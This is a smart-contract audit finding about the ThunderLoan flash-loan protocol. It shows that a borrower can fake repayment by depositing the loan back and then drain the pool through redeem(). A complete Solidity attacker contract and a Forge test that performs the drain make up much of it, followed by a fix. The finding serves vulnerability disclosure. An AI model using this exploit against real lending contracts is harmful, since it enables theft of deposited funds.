Summary
ThunderLoan::flashloan() function can be exploited by attacker and funds can be drained.
The revert condition check endingBalance < startingBalance + fee
is not sufficient, as it can be pretended by attacker that funds are repaid by calling the ThunderLoan::deposit() function and amount equivalent to (flash loan + fees) can be deposited in ThunderLoan, this will increase the balance to the required repayment amount and the condition endingBalance < startingBalance + fee
will becomes false and it will not revert, but it should have reverted as the funds were not paid they were only deposited. As a result of which funds can be later withdrawn by calling the ThunderLoan::redeem() function.
Vulnerability Details
flashloan
function can be called with the maximum amount in protocol and once control is transferred to executeOperation() function of flash loan receiver contract, the amount = (flash loan + fee) can be deposited via ThunderLoan::deposit() function, and as the ending balance will increase to the required amount and thus it was pretended that the funds are repaid but instead they were deposited and they can be drained by the ThunderLoan::redeem() function.
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
The check is not sufficient as the endingBalance can be increased just by depositing the funds, and it will be pretended that funds were repaid and they can be taken out anytime as the funds deposited over here belong to the one who deposited them. Thus, all funds can be drained.
PoC
It can be demonstrated by deploying a Flash Loan Receiver contract given below. Paste the code inside test/mocks/AttackerFlashLoanReceiver.sol
.
AttackerFlashLoanReceiver.sol
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
contract AttackerFlashLoanReceiver is IFlashLoanReceiver {
error AttackerFlashLoanReceiver__NotThunderLoan();
error AttackerFlashLoanReceiver__NotOwner();
address public owner;
ThunderLoan public thunderLoan;
constructor(address thunderLoanAddr) {
owner = msg.sender;
thunderLoan = ThunderLoan(thunderLoanAddr);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
)
external
returns (bool)
{
if (msg.sender != address(thunderLoan)) {
revert AttackerFlashLoanReceiver__NotThunderLoan();
}
if (initiator != owner) {
revert AttackerFlashLoanReceiver__NotOwner();
}
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee);
return true;
}
function withdraw(address token, uint256 amountOfAssetToken) external {
thunderLoan.redeem(IERC20(token), amountOfAssetToken);
uint256 amount = IERC20(token).balanceOf(address(this));
bool success = IERC20(token).transfer(owner, amount);
require(success);
}
}
Import the above contract inside test/unit/ThunderLoanTest.t.sol
.
import { AttackerFlashLoanReceiver } from "../mocks/AttackerFlashLoanReceiver.sol";
Inlcude the below test in test/unit/ThunderLoanTest.t.sol
.
Run the test by: forge test --mt test_FlashLoan_FakeRepaymentAndDrainFunds -vv
function test_FlashLoan_FakeRepaymentAndDrainFunds() public setAllowedToken hasDeposits {
address attacker = makeAddr("attacker");
uint256 ATTACKER_START_TOKEN_BALANCE = 10e18;
tokenA.mint(attacker, ATTACKER_START_TOKEN_BALANCE);
AssetToken at = thunderLoan.getAssetFromToken(tokenA);
vm.startPrank(attacker);
AttackerFlashLoanReceiver receiver = new AttackerFlashLoanReceiver(address(thunderLoan));
uint256 FEES = 3e18;
tokenA.transfer(address(receiver), FEES);
uint256 initAttackerBalance = tokenA.balanceOf(attacker);
thunderLoan.flashloan(address(receiver), tokenA, DEPOSIT_AMOUNT, "");
vm.stopPrank();
uint256 finalExchangeRate = at.getExchangeRate();
uint256 maxTokenA = tokenA.balanceOf(address(at));
uint256 amountOfAssetToken = maxTokenA * at.EXCHANGE_RATE_PRECISION() / finalExchangeRate;
uint256 attackerAssetTokenBalance = at.balanceOf(address(receiver));
if (attackerAssetTokenBalance < amountOfAssetToken) {
amountOfAssetToken = attackerAssetTokenBalance;
}
uint256 amountOfTokenA = (amountOfAssetToken * finalExchangeRate) / at.EXCHANGE_RATE_PRECISION();
vm.prank(attacker);
receiver.withdraw(address(tokenA), amountOfAssetToken);
uint256 finalAttackerBalance = tokenA.balanceOf(attacker);
assertEq(finalAttackerBalance, initAttackerBalance + amountOfTokenA);
console.log("Drained Amount:", finalAttackerBalance - FEES - initAttackerBalance);
}
Impact
All funds in the protocol can be drained.
Tools Used
Manual Review, Forge
Recommendations
To mitigate this vulnerability, users should not be allowed to deposit funds while taking flash loans.
Modify the function ThunderLoan::deposit()
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CantDepositDuringFlashLoan();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}